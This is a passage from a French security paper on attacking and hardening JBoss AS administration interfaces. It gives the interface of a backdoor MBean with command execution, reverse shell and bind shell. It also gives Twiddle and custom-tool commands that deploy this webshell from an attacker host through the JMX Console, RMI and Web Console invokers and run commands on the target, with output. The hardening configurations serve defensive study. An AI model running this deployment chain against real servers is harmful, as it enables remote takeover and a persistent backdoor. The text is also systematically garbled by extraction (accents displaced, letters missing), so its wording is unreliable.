En se connectant aux composants, lattaquant sera donc authenti en tant e quadministrateur JBoss et pourra excuter les actions qui sont associes a ce rle, e e ` o quel que soit ce quil saisira dans le formulaire dauthentication. La seule contrainte pour lattaquant est de conna le domaine de scurit quil souhaite rednir et le tre e e e nom du rle cible. Concernant le domaine de scurit, il est possible de lobtenir aso e e sez simplement via le MBean jboss:service=JNDIView qui fournit une vue de lannuaire JNDI incluant les dirents composants possdant une rsolution JNDI (dont e e e les applications web). Cette vue permet notamment dobtenir lventuel domaine de e scurit appliqu aux composants. La gure 7 montre lentre JNDI pour lapplie e e e cation JMX Console. Une authentication infructueuse permet galement dobtenir e le domaine de scurit appliqu. Pour le rle, il nexiste pas de solution magique e e e o et il faut miser sur sa trivialit. Pour les applications dadministration JBoss (JMX e Console, Web Console, Admin Console, etc.) que nous verrons par la suite, il est rare que ladministrateur ait chang le rle par dfaut JBossAdmin. e o e

16

R. Dubourguais

Fig. 7. Entre JNDI pour la JMX Console e

Exploitation et scurisation des points dentre e e

Connaissant les principales fonctionnalits pouvant tre utilises lors dune ine e e trusion, il est maintenant ncessaire de conna e tre les moyens disponibles pour les exploiter. 5.1 Objectifs de lattaquant

Les objectifs dun attaquant peuvent tre de tout ordre. Pour la suite, nous allons e nous placer du point de vue dun attaquant dsirant simplement sinstaller au e sein du serveur JBoss pour eectuer des oprations quil aura pralablement dnies e e e (balayage de ports, envoi de spams, rebond sur des quipements internes, etc.). Pour e le pirate, la solution la plus simple est bien videmment de dployer au sein du e e serveur une application implmentant ces oprations an davoir une plus grande e e libert de mouvement (en dautres termes un webshell ). Pour la suite de larticle, les e versions 5 et suprieures seront dissocies des autres car pour atteindre cet objectif, e e la technique dexploitation di`re. e 5.2 Porte drobe de lattaquant e e

En guise dexemple, la porte drobe qui sera utilise pour la suite nest pas une e e e application web (archive WAR) mais un service (archive SAR) qui sera intgr ` e e a JBoss en tant que MBean. Ce choix a pour grand avantage daugmenter le prim`tre e e dacc`s ` la porte drobe. En eet, une application web nest accessible que par line a e e termdiaire du conteneur web et rien ne nous garantit que cet acc`s nous sera ouvert e e (mme si cela est le cas en r`gle gnrale). Un MBean, pour sa part, peut tre atteint e e e e e a travers toutes les portes dentre de JBoss et notamment celle qui aura permis son ` e insertion, do` son avantage. u La porte drobe qui a t dveloppe pour les besoins de larticle est loin dtre e e ee e e e compl`te et pourrait parfaitement tre tendue. Les fonctionnalits de base qui y e e e e ont t intgres sont les suivantes : ee e e lecture de chier ; upload de chier ; excution de commandes syst`mes ; e e

JBoss AS : exploitation et scurisation e

17

ouverture de reverse shell ; ouverture de bind shell. Pour que cette porte drobe soit fonctionnelle au sein dun serveur JBoss, il est e e important de respecter plusieurs r`gles lors de son dveloppement. Tout dabord, une e e interface (au sens Java du terme) doit tre cre an de dnir les fonctionnalits e ee e e que notre service nal sera capable de fournir ` lattaquant. Cette interface doit a galement sous-classer linterface org.jboss.system.ServiceMBean : e
package service; public interface WebshellServiceMBean extends org.jboss.system.ServiceMBean { public String getwhoami(); public String getFileContent(String fileName); public void writeFile (String base64encodedFile, String destination); public String exec(String cmd); public void runReverseShell (String host, int port); public void runBindShell (int port); }

Une classe implmentant cette interface doit ensuite tre cre an dimplmenter e e ee e les direntes fonctionnalits (le code source de cette classe nest pas fourni ici car e e trop imposant). Puis, pour nir, une archive SAR doit tre cre, intgrant les classes e ee e compiles et le chier jboss-service.xml ci-dessous permettant dindiquer ` JBoss e a les MBeans prsents au sein de larchive : e
<?xml version="1.0" encoding="UTF-8"?> <server> <mbean code="service.WebshellService" name="hsc:service=HSCWebshell"></mbean> </server>

Finalement, notre archive poss`de laborescence ci-dessous. Cette archive, apr`s e e son envoi sur le serveur, sera dcompresse et dploye au sein des MBeans dj` e e e e ea prsents. e
WebshellService.sar |- service | |- WebshellServiceMBean.class | |- WebshellService.class | |- META-INF |- MANIFEST.MF |- jboss-service.xml NB : Le chier META-INF/MANIFEST.MF est gnr lors de la cration de larchive par lutilitaire e e e e jar. Dans notre cas, celui-ci na pas dintrt. e e

5.3

La JMX Console

Pr-requis pour lattaquant : e acc`s HTTP ` lapplication JMX Console. e a

18

R. Dubourguais

Lacc`s le plus connu et le plus ais au MBean Server est, depuis la naissance de e e JBoss, la JMX Console. Cette application web, dploye par dfaut au lancement e e e de JBoss, a pour but de fournir une vision dtaille de lensemble des composants e e intgrs a la JMX et de permettre linteraction avec ces mmes composants (lancee e ` e ment des mthodes et acc`s aux attributs associs). Autant dire que cette application e e e est la cible favorite des attaquants de par son interface clickodrome permettant galement aux script kiddies de samuser un peu. La gure 8 montre la page daccueil e de cette interface.

Fig. 8. Page daccueil de la JMX Console

Exploitation : Par dfaut, cette interface est accessible ` laide de lURL tr`s e a e souvent inchange http://server/jmx-console/ et cela sans authentication. e Un attaquant ayant acc`s a cette interface (mauvais ltrage dURL par exemple) e ` peut donc naviguer dans les dirents MBeans et interagir avec eux par de simples e clics . Pour dployer son application, le pirate na plus qu` trouver le MBean e a jboss.system:service=MainDeployer et invoquer la mthode deploy(String URL) e vue prcdemment pour dployer son application distante (cf. gure 9) (au cours de e e e larticle nous supposerons que lattaquant dispose dun serveur hbergeant lapplie cation ` dployer). a e

Fig. 9. Dploiement dun application sur la JMX Console e

JBoss AS : exploitation et scurisation e

19

Apr`s avoir invoqu la mthode, il est alors possible de vrier le bon dploiement e e e e e de la porte drobe via la page daccueil de la JMX Console, montrant bien la e e prsence du service dans la liste des MBeans actifs (cf. gure 10). Lattaquant e peut ensuite communiquer avec sa porte drobe via la JMX Console et raliser e e e les oprations voulues. La gure 11 montre notamment la lecture dun chier sur e le serveur via la porte drobe. Cependant, comme mentionn prcdemment, le e e e e e point noir de cette mthode reste la ncessit davoir un acc`s externe depuis le sere e e e veur JBoss pour tlcharger larchive contenant le MBean. Lexcution dun script ee e BeanShell peut permettre de contourner facilement cette restriction.

Fig. 10. Prsence du webshell au sein des MBeans e

Fig. 11. Lecture du chier /etc/passwd sur le serveur

Scurisation : Son exploitation est extrmement simple mais sa scurisation lest e e e galement. Tous les lments ncessaires sont dj` prsents au sein des chiers de e ee e ea e conguration mais sont tout simplement comments. Il est donc tr`s facile de vere e rouiller cet acc`s et de bloquer les ventuels pirates amateurs. e e La conguration par dfaut propose, en guise dexemple, une authentication e HTTP Basic. Par acquis de conscience, nous allons la modier lgrement an de e e mettre en place une authentication HTTP Digest plus robuste a des attaques par ` sning rseau. Il est galement possible de mettre en place une authentication par e e

20

R. Dubourguais

certicat client [8] (cette mthode a lintrt dtre supporte par toutes les portes e ee e e dentre contrairement ` HTTP Digest). e a La premi`re manipulation a eectuer est de modier le chier de conguration e ` JBOSS_SERVER/deploy/jmx-console.war/WEB-INF/web.xml an de dcommenter e la partie indiquant quune authentication est ncessaire pour tout acc`s ` la JMX e e a Console. Une modication a t apporte concernant la mthode dauthentication : ee e e
<security-constraint> <web-resource-collection> <web-resource-name>HtmlAdaptor</web-resource-name> <description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application </description> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>JBossAdmin</role-name> </auth-constraint> </security-constraint> <login-config> <!-- <auth-method>BASIC</auth-method> --> <auth-method>DIGEST</auth-method> <realm-name>JBoss JMX Console</realm-name> </login-config>

Cette partie dnit une contrainte de scurit indiquant que tout acc`s ` la JMX e e e e a Console ncessite une authentication et que lutilisateur qui tente de sauthentier e doit poss`der le rle JBossAdmin an davoir acc`s a lapplication. e o e `
NB : il est prfrable de modier le nom de ce rle an dviter toute authentication frauduleuse ee o e utilisant les valeurs par dfaut. e

La deuxi`me tape est dattacher un domaine de scurit ` lapplication an dine e e ea diquer le module dauthentication qui doit tre utilis pour authentier les utilisae e teurs. Cela doit se faire dans le chier JBOSS_SERVER/deploy/jmx-console.war/WEBINF/jboss-web.xml. Le domaine par dfaut qui est propos est jmx-console : e e
<security-domain>java:/jaas/jmx-console</security-domain>

Le domaine de scurit jmx-console est dni dans le chier de conguration e e e JBOSS_SERVER/conf/login-config.xml. Cela permet dindiquer le module dauthentication utilis, le lieu de stockage des comptes utilisateurs et les ventuelles e e associations utilisateur/rle. Par exemple, pour garantir la compatibilit avec une o e authentication HTTP Digest, plusieurs options ont t ajoutes ` la conguration ee e a propose par dfaut : e e
<policy> [...] <application-policy name="jmx-console"> <authentication>

JBoss AS : exploitation et scurisation e

21

<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule" flag="required"> <module-option name="usersProperties">props/jmx-console-users.properties</module-option> <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option> <module-option name="hashAlgorithm">MD5</module-option> <module-option name="hashEncoding">rfc2617</module-option> <module-option name="hashUserPassword">false</module-option> <module-option name="hashStorePassword">true</module-option> <module-option name="passwordIsA1Hash">true</module-option> <module-option name="storeDigestCallback"> org.jboss.security.auth.spi.RFC2617Digest </module-option> </login-module> </authentication> </application-policy> [...] </policy>

Pour nir, il faut dnir les utilisateurs pouvant sy connecter. Cette tape est e e indispensable notamment pour la suppression du compte par dfaut admin/admin e prsent dans le chier JBOSS_SERVER/conf/props/jmx-console-users.properties e et encore trop souvent oubli . Dans le cadre dune authentication HTTP Die gest, il est ncessaire dutiliser la classe RFC2617Digest an de gnrer lempreinte e e e du mot de passe, vitant par la mme occasion son stockage en clair dans les chiers e e de conguration :
$ java -cp $JBOSS_HOME/server/default/lib/jbosssx.jar \ > org.jboss.security.auth.spi.RFC2617Digest Usage: RFC2617Digest username realm password - username : the username - realm : the web app realm name - password : the plain text password $ java -cp $JBOSS_HOME/server/default/lib/jbosssx.jar \ > org.jboss.security.auth.spi.RFC2617Digest jmxadmin "JBoss JMX Console" rbHe2d0 RFC2617 A1 hash: f2abd6b0b875e7cdf6ee8376a17f6b8f

Il ne reste plus qu` insrer cette empreinte et a associer lutilisateur jmxadmin a e ` au rle dadministration JBoss dans les chiers prvus a cet eet puis a redmarrer o e ` ` e le serveur.
# Contenu du fichier JBOSS_SERVER/conf/props/jmx-console-users.properties jmxadmin=f2abd6b0b875e7cdf6ee8376a17f6b8f # Contenu du fichier JBOSS_SERVER/conf/props/jmx-console-roles.properties jmxadmin=JBossAdmin

Il est galement possible de congurer JBoss pour eectuer la connexion en e HTTPS permettant de contrer dventuelles attaques par sning rseau. Dautre e e part, cette proposition de conguration nest l` qu` titre dexemple pour montrer a a que la scurisation dune interface dadministration nest pas extrmement come e plexe mais ncessite tout de mme un certain nombre de recherches lorsque lon e e dsire mettre en place une authentication un peu plus exotique. La documentae tion ocielle est dailleurs tr`s discr`te sur ces points et il est souvent ncessaire de e e e consulter les dirents forums de la communaut. e e

22

R. Dubourguais

5.4

Linvocation RMI/JRMP

Pr-requis pour lattaquant : e acc`s ` lannuaire RMI Registry (port 1099 et 1098 par dfaut) ; e a e acc`s au port RMI (4444 par dfaut). e e Maintenant que la JMX Console est verrouille, le nombre dattaquants potentiels e va fortement diminuer. Toutefois JBoss propose galement dautres points dentre e e plus diciles a exploiter mais pouvant amener exactement au mme rsultat que ` e e prcdemment. e e Le premier dentre eux est le JRMPInvoker qui est un Invoker permettant, comme son nom lindique, dinvoquer a distance des objets Java a travers le proto` ` cole RMI/JRMP (Remote Method Invocation over Java Remote Method Protocol ). Cet Invoker est associ ` lAdaptor RMIAdaptor an de transformer les appels RMI ea en appels comprhensibles par la JMX ct serveur. e oe En r`gle gnrale, linvocation distante dun objet Java, et quel que soit le proe e e tocole, ncessite la prsence dun annuaire et JBoss ne droge pas ` la r`gle en e e e a e fournissant un RMI Registry. Cet annuaire coute par dfaut sur le port 1099 et e e permet deectuer des rsolutions de noms dobjet via RMI. De mani`re plus prage e matique, lorsquun objet Java est invoqu, une rsolution via lAPI JNDI (Java e e Naming and Directory Interface) est eectue sur lannuaire an de conna e tre le lieu de stockage de lobjet ainsi que son interface (liste des mthodes utilisables et e attributs accessibles). Lavantage dun tel mcanisme est que lobjet appelant na e pas connaissance de lobjet appell avant son invocation. e Une phase dactivation de lobjet peut galement avoir lieu via le port 1098 du e serveur. Cette phase permet dactiver a la demande des objets, diminuant les res` sources consommes par le serveur. e ` A lissue de ces deux tapes, le client rcup`re une projection de lobjet invoqu e e e e (notion de Proxy sous JBoss) permettant de simuler la prsence en local de lobjet. e Dans le cas prsent, une projection du MBean Server est faite, correspondant, en e ralit, a une instance de la classe org.jboss.jmx.adaptor.rmi.RMIAdaptor. Par e e ` lintermdiaire de cet objet, il ensuite possible dinvoquer a distance nimporte quel e ` MBean et cela, de mani`re transparente via des connexions sur le port 4444 du e serveur. Du point de vue dun attaquant, il est clair que ce vecteur dattaque nest gnralement exploitable que depuis le rseau interne, tant donn que tr`s peu de e e e e e e serveurs JBoss exposent les ports 4444, 1098 et 1099 sur Internet (` moins dun a ltrage dentre de site plus que douteux). Concernant loutil, la communaut JBoss e e fournit Twiddle, un outil crit en Java disponible dans toutes les installations de e JBoss AS :
$ ./jboss-4.2.0.GA/bin/twiddle.sh A JMX client to twiddle with a remote JBoss server. usage: twiddle.sh [options] <command> [command_arguments]

JBoss AS : exploitation et scurisation e

23

options: -h, --help --help-commands -H=<command> -c=command.properties -D<name>[=<value>] --s, --server=<url> -a, --adapter=<name> -u, --user=<name> -p, --password=<name> -q, --quiet

Show this help message Show a list of commands Show command specific help Specify the command.properties file to use Set a system property Stop processing options The JNDI URL of the remote server The JNDI name of the RMI adapter to use Specify the username for authentication Specify the password for authentication Be somewhat more quiet

Twiddle a t conu explicitement pour communiquer avec le MBean Server via ee c des appels RMI et permet donc de raliser exactement les mmes oprations que par e e e la JMX Console :
$ ./twiddle.sh -s www.cible.hsc.fr get jboss.system:type=ServerInfo OSVersion OSVersion=2.6.24-19-generic

En excutant cette commande, Twiddle a eectu une rsolution JNDI an de e e e rcuprer une projection du MBean Server, lui permettant de communiquer avec e e celui-ci a laide dappels RMI. Le MBean jboss.system:type=ServerInfo a en` suite t invoqu grce ` cette projection an de rcuprer la version de lOS du ee e a a e e serveur. Dun point de vue rseau, il est possible dobserver les trois phases du processus e dinvocation : rsolution, activation et invocation (cf. Figure 12). e Exploitation : En reprenant notre cas pratique, il est donc possible avec des appels RMI de dployer une nouvelle application au sein du serveur JBoss : e
$ ./twiddle.sh -s www.cible.hsc.fr invoke \ > jboss.system:service=MainDeployer \ > deploy http://p0wned.hsc.fr/WebshellService.sar null

Dans le cas dun ltrage trop rigoureux en sortie de site, la mme opration est e e possible avec un script BeanShell comme cela la dj` t mentionn : eaee e
$ ./twiddle.sh -s www.cible.hsc.fr \ > invoke jboss.deployer:service=BSHDeployer \ > createScriptDeployment "cat ./webshell.bsh" webshell.bsh file:/tmp/webshell.bsh8574560330911296521.bsh $ ./twiddle.sh -s www.cible.hsc.fr \ > invoke jboss.system:service=MainDeployer \ > deploy "/tmp/webshell.sar" null

Apr`s le dploiement de lapplication, il est possible de communiquer avec notre e e porte drobe par lintermdiaire de la mme porte dentre : e e e e e

24

R. Dubourguais

Fig. 12. Capture Wireshark dune invocation RMI.

$ ./twiddle.sh -s www.cible.hsc.fr invoke hsc:service=HSCWebshell exec "ifconfig" eth0 Link encap:Ethernet HWaddr 00:0c:29:df:87:a4 inet addr:192.168.111.107 Bcast:192.168.111.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:87a4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1453028 errors:0 dropped:0 overruns:0 frame:0 TX packets:599406 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:836687776 (797.9 MB) TX bytes:176674095 (168.4 MB) Interrupt:17 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:50071 errors:0 dropped:0 overruns:0 frame:0 TX packets:50071 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:89131794 (85.0 MB) TX bytes:89131794 (85.0 MB)

Scurisation : Cette porte dentre souvent oublie permet donc de compromettre e e e totalement le serveur de la mme mani`re que par lintermdiaire de la JMX Console. e e e La seule limitation concerne langle dattaque qui ne peut se faire gnralement que e e depuis le rseau interne. Cependant, cette menace nest pas a ngliger et il est fore ` e temement conseill de scuriser cette porte. e e Sa scurisation passe simplement par la modication du chier de conguration e des Invokers JBOSS_SERVER/deploy/jmx-invoker-service.xml. Ce chier permet

JBoss AS : exploitation et scurisation e

25

notamment dappliquer un domaine de scurit a la mthode invoke des Invokers e e` e qui est implicitement appele quelle que soit lopration eectue sur le MBean cible e e e (consultation dattributs, invocation de mthodes, etc.) : e
[...] <operation> <description>The detached invoker entry point</description> <name>invoke</name> <parameter> <description>The method invocation context</description> <name>invocation</name> <type>org.jboss.invocation.Invocation</type> </parameter> <return-type>java.lang.Object</return-type> <descriptors> <interceptors> <!-- Uncomment to require authenticated users --> <interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor" securityDomain="java:/jaas/jmx-console"/> <!-- Interceptor that deals with non-serializable results --> <interceptor code="org.jboss.jmx.connector.invoker.SerializableInterceptor" policyClass="StripModelMBeanInfoPolicy"/> </interceptors> </descriptors> </operation> [...]

La conguration par dfaut propose une authentication via le domaine de e scurit jmx-console. Cela permet une gestion des authentications identiques ` celle e e a de la JMX Console (centralisation des comptes) mais il est tout a fait possible de ` xer un domaine de scurit totalement dirent. Dans notre cas, lauthentication e e e HTTP Digest ntant pas compatible, il serait ncessaire den dnir un autre avec e e e une mthode dauthentication adapte. Plus globalement, il est recommand defe e e fectuer une gestion des authentications centralise via une mthode supporte par e e e toutes les portes dentre (SSL notamment peut tre une solution mais ncessite e e e une gestion lourde des certicats). Dans tous les cas, lorsque la scurit est mise en e e place, les prcdents tests chouent : e e e
$ ./twiddle.sh -s www.cible.hsc.fr \ > invoke jboss.system:service=MainDeployer \ > undeploy http://p0wed.hsc.fr/WebshellService.sar 16:39:25,707 ERROR [Twiddle] Exec failed java.lang.SecurityException: Failed to authenticate principal=null, securityDomain=jmx-console [...]

5.5

La Web Console

Pr-requis pour lattaquant : e acc`s HTTP ` lapplication Web Console. e a JBoss AS fournit galement par dfaut une autre application web : la Web e e Console. Cette application a pour rle principal de fournir une interface de moo nitoring aux administrateurs (visualisation des alertes, de statistiques pour les applications, etc.) et na donc, a premi`re vue, quune vocation consultative (do` sa ` e u

26

R. Dubourguais

tr`s rare protection dailleurs). Par dfaut, la Web Console est accessible a lURL e e ` http://server/web-console/ et cela sans authentication.

Fig. 13. Page daccueil de la Web Console.

Exploitation : Pour un attaquant, cette application peut en ralit constituer bien e e plus quune simple interface fournissant quelques fuites dinformations. Elle peut mme amener aux mmes rsultats que prcdemment. e e e e e Pour bien comprendre la mthode dexploitation, il faut tout dabord faire un e dtour vers le fonctionnement interne de la Web Console. Cette application nest en e ralit quune surcouche de la JMX fournissant des informations de monitoring et e e faisant, par consquent, appel a des MBeans pour obtenir ces informations. Pour efe ` fectuer ces appels, la Web Console int`gre un Invoker sous forme de servlet accessible e par HTTP ` lURL http://server/web-console/Invoker et cela de mani`re toa e talement publique. La faille rside dans limplmentation de cet Invoker (correspondant ` la classe e e a Java org.jboss.console.remote.InvokerServlet) qui neectue aucune restriction sur les commandes JMX quil est possible de lui adresser, permettant potentiellement dy injecter des commandes JMX arbitraires. Pour communiquer avec cet Invoker, Twiddle devient inutilisable car celui-ci na pas t conu pour communiquer via un protocole autre que RMI/JRMP. Un outil ee c a donc t dvelopp an dexploiter cette vulnrabilit. ee e e e e Etablir une communication avec cet Invoker est cependant loin dtre trivial a e ` implmenter. Il est ncessaire de lui envoyer les commandes JMX sous forme de e e

JBoss AS : exploitation et scurisation e

27

requtes POST encapsulant un objet Java srialis du type MarshalledInvocation e e e encapsulant lui-mme linvocation proprement dite. Cet objet tant normalement e e utilis en interne par JBoss et nayant pas pour vocation dtre manipul par un e e e dveloppeur, il est donc dicile a gnrer a partir dun programme utilisateur. e ` e e ` Cependant, lAPI de JBoss fournit une aide bien utile et notamment la classe org.jboss.console.remote.Util du package console-mgr-classes.jar (disponible dans lachive console-mgr.sar de la Web Console) qui permet de raliser ce e travail a la place du pirate. Cette classe fournit notamment deux mthodes : ` e
# Mthode dinvocation de mthodes de MBeans e e public static Object invoke(URL externalURL, RemoteMBeanInvocation mi) throws Exception # Mthode dinterrogation dattributs de MBeans e public static Object getAttribute(URL externalURL, RemoteMBeanAttributeInvocation mi) throws Exception

Ces mthodes ont t conues pour communiquer avec lInvoker de la Web e ee c Console et construisent donc des requtes HTTP comprhensibles (cration de lobe e e jet MarshalledInvocation, srialisation et envoi a travers HTTP). En utilisant cette e ` classe et plus particuli`rement ces deux mthodes, il est donc possible dlaborer e e e un programme Java permettant dinteragir tr`s facilement et sans restriction avec e lInvoker de la Web Console. Loutil dvelopp incorpore un script shell an de grer e e e automatiquement le CLASSPATH du programme Java sous-jacent :
$ ./webconsoleinvoker.sh -h Usage: WebConsoleInvoker [options] -i, --invoker URL The Invoker URL to use (Default is http://127.0.0.1:8080/web-console/Invoker). -m, --mbean MBeans The MBeans to call. --action action_name The action to perform (get or invoke). --get-attribut attribut The attribute to retrieve (with get action). --invoke-operation operation The operation to call (with invoke action). --invoke-parameters parameters The operation parameters (with invoke action). --invoke-signature signature The operation signature (with invoke action) (Default is java.lang.String for all params). $ ./webconsoleinvoker.sh \ > -i http://www.cible.hsc.fr:8080/web-console/Invoker \ > -m jboss.system:type=ServerInfo \ > --action get \ > --get-attribut OSVersion 2.6.24-19-generic

En reprenant notre cas pratique, il est alors possible de dployer une nouvelle e application via cette porte dentre en utilisant les techniques vues prcdemment : e e e
$ > > > > ./webconsoleinvoker.sh \ -i http://www.cible.hsc.fr:8080/web-console/Invoker \ -m jboss.system:service=MainDeployer \ --action invoke \ --invoke-operation deploy \

28

R. Dubourguais

> --invoke-parameters http://p0wned.hsc.fr/WebshellService.sar $ ./webconsoleinvoker.sh \ > -i http://www.cible.hsc.fr:8080/web-console/Invoker \ > -m hsc:service=HSCWebshell \ > --action invoke \ > --invoke-operation exec \ > --invoke-parameters ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:87:a4 inet addr:192.168.111.107 Bcast:192.168.111.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:87a4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1464663 errors:0 dropped:0 overruns:0 frame:0 TX packets:608504 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:837873438 (799.0 MB) TX bytes:183287852 (174.7 MB) Interrupt:17 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:50269 errors:0 dropped:0 overruns:0 frame:0 TX packets:50269 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:89142726 (85.0 MB) TX bytes:89142726 (85.0 MB)

Scurisation : Etant une application web hberge dans le conteneur web de JBoss, e e e celle-ci peut donc tre scurise exactement de la mme mani`re que la JMX Console, e e e e e en gardant ` lesprit que les dispositifs de scurisation de chaque application restent a e cependant indpendants. Nous ne redtaillerons pas la procdure de scurisation ici e e e e mais pour information les chiers spciques ` la Web Console devant tre modis e a e e sont les suivants (dans le rpertoire JBOSS_SERVER/deploy/) : e management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml ; management/console-mgr.sar/web-console.war/WEB-INF/web.xml. Apr`s la scurisation de linterface, il nest plus possible daccder a lInvoker de e e e ` la Web Console :
$ ./webconsoleinvoker.sh > -i http://www.cible.hsc.fr:8080/web-console/Invoker \ > -m jboss.system:service=MainDeployer \ > --action invoke \ > --invoke-operation deploy \ > --invoke-parameters http://p0wned.hsc.fr/WebshellService.sar Exception in thread "main" java.io.IOException: Server returned HTTP response code: 401 for URL: http://www.cible.hsc.fr:8080/web-console/Invoker [...]

5.6

Servlet par dfaut : la JMXInvokerServlet e

Pr-requis pour lattaquant : e acc`s HTTP ` larborescence /invoker/. e a

JBoss AS : exploitation et scurisation e

29

Nous avons vu prcdemment lAdaptor permettant de communiquer avec la e e JMX a travers RMI/JRMP, maintenant nous allons nous intresser a celui permet` e ` tant deectuer la mme opration mais via HTTP : lHttpAdaptor. Celui-ci est e e particuli`rement intressant lors dune attaque externe o` seul lacc`s HTTP est e e u e autoris et o` lensemble des autres points dentre ont t scuriss. e u e ee e e Cet Adaptor a t intgr a JBoss pour des raisons de commodit et de scurit ee e e` e e e pour les administrateurs an dviter louverture des ports 4444, 1099 et 1098 entre e la DMZ du JBoss et les postes des administrateurs ou dveloppeurs. Il est accessible e via un Invoker disponible a lURL http://server/invoker/JMXInvokerServlet ` qui est une servlet fournie par lapplication invoker.war. Cette fonctionnalit e nest pas active par dfaut. Pour lactiver, il est ncessaire de modier le e e e chier de conguration JBOSS_SERVER/deploy/jmx-invoker-service.xml et de dcommenter la partie suivante : e
<!-- Expose the jmx invoker service interface via HTTP --> <mbean code="org.jboss.invocation.http.server.HttpProxyFactory" name="jboss.jmx:type=adaptor,name=Invoker,protocol=http,service=proxyFactory"> <attribute name="InvokerURL"> http://192.168.111.107:8080/invoker/JMXInvokerServlet </attribute> <!-- The target MBean is the InvokerAdaptorService configured below --> <depends optional-attribute-name="InvokerName"> jboss.jmx:type=adaptor,name=Invoker </depends> <attribute name="ExportedInterface">org.jboss.jmx.adaptor.rmi.RMIAdaptorExt</attribute> <attribute name="JndiName">jmx/invoker/HttpAdaptor</attribute> <attribute name="ClientInterceptors"> <interceptors> <interceptor>org.jboss.proxy.ClientMethodInterceptor</interceptor> <interceptor>org.jboss.proxy.SecurityInterceptor</interceptor> <interceptor> org.jboss.jmx.connector.invoker.client.InvokerAdaptorClientInterceptor </interceptor> <interceptor>org.jboss.invocation.InvokerInterceptor</interceptor> </interceptors> </attribute> </mbean>

Dans la pratique, cette conguration est tr`s rarement active. Cependant, la e e servlet reste accessible publiquement quelle que soit la conguration et accepte donc les requtes POST. Il est donc possible de lexploiter mme si elle nest e e pas cense tre active dans la conguration. e e e Exploitation : Pour communiquer avec lInvoker, les requtes POST ` envoyer e a doivent galement encapsuler les invocations JMX srialises dans des objets du type e e e MarshalledInvocation. Cependant, la technique utilise pour la Web Console ne e fonctionne pas ici car les classes propres ` la Web Console (RemoteMBeanInvocation a et RemoteMBeanAttributeInvocation) ne sont pas reconnues par la servlet (absentes du CLASSPATH ). Dautre part, malgr son exposition publique, il nest pas possible dinvoquer la e servlet via le processus classique dinvocation (rsolution, activation, invocation), car e

30

R. Dubourguais

a la lecture de la conguration, le serveur se rendra compte que cette fonctionnalit ` e nest pas active. e Lobjectif est donc danalyser le fonctionnement du processus dinvocation ` traa vers HTTP, an de conna lendroit o` la vrication de lactivation du service tre u e est ralise, en vue de son coutournement. Pour cela, un serveur JBoss AS a t e e ee install avec lencapsulation HTTP active, et un outil a t dvelopp tendant les e e ee e ee fonctionnalits de Twiddle pour fonctionner galement via le protocole HTTP. e e Loutil ralise les trois phases de linvocation. Cependant, pour assurer une utilie sation du protocole HTTP tout au long de linvocation, il tait galement ncessaire e e e dencapsuler les rsolutions JNDI. Pour se faire, JBoss propose par dfaut une autre e e servlet : JNDIFactory disponible ` lURL http://server/invoker/JNDIFactory a et interrogeable ` laide dun simple programme Java : a
import import import import import import org.jboss.console.remote.RemoteMBeanAttributeInvocation; org.jboss.console.remote.RemoteMBeanInvocation; java.util.Properties; javax.management.*; javax.naming.InitialContext; javax.naming.NamingException;

public class ServerConnection { private MBeanServerConnection server; public ServerConnection(String jndiURL, String adaptor) throws NamingException { String jndiURL = "http://www.cible.hsc.fr/invoker/JNDIFactory"; String adaptor = "/jmx/invoker/HttpAdaptor"; Properties props = new Properties(); props.put("java.naming.factory.initial", "org.jboss.naming.HttpNamingContextFactory"); props.put("java.naming.provider.url", jndiURL); props.put("java.naming.factory.url.pkgs", "org.jboss.naming:org.jnp.interfaces"); InitialContext ctx = new InitialContext(props); server = (MBeanServerConnection)ctx.lookup(adaptor); } [...] }

Apr`s la rsolution JNDI aupr`s de cette servlet, un objet implmentant lintere e e e face javax.management.MBeanServerConnection est retourn. Cet objet correse pond ` une projection ct client du MBean Server du serveur JBoss permettant a oe de simuler la prsence en local de lobjet. Dun point de vue plus technique, lors de e la rsolution, lobjet correspondant ` lenregistrement jmx/invoker/HttpAdaptor e a va tre recherch. Cet enregistrement est renseign dans le chier de gestion des e e e Invokers JBOSS_SERVER/deploy/jmx-invoker-service.xml :
<mbean code="org.jboss.invocation.http.server.HttpProxyFactory" name="jboss.jmx:type=adaptor,name=Invoker,protocol=http,service=proxyFactory"> [...] <attribute name="ExportedInterface">org.jboss.jmx.adaptor.rmi.RMIAdaptorExt</attribute> <attribute name="JndiName">jmx/invoker/HttpAdaptor</attribute> [...] </mbean>

JBoss AS : exploitation et scurisation e

31

Lattribut ExportedInterface correspond a lobjet associ a cet enregistrement ` e` et qui sera retourn au client. Lobjet org.jboss.jmx.adaptor.rmi.RMIAdaptorExt e implmente linterface javax.management.MBeanServerConnection. e ` A partir dun objet javax.management.MBeanServerConnection, il est ensuite possible dinvoquer nimporte quel MBean via les mthodes ci-dessous et tout cela e a travers le protocole HTTP : `
# Obtention dun attribut dun MBean Object getAttribute(ObjectName name, String attribute) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException # Invocation dune mthode dun MBean e Object invoke(ObjectName name, String operationName, Object[] params, String[] signature) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException

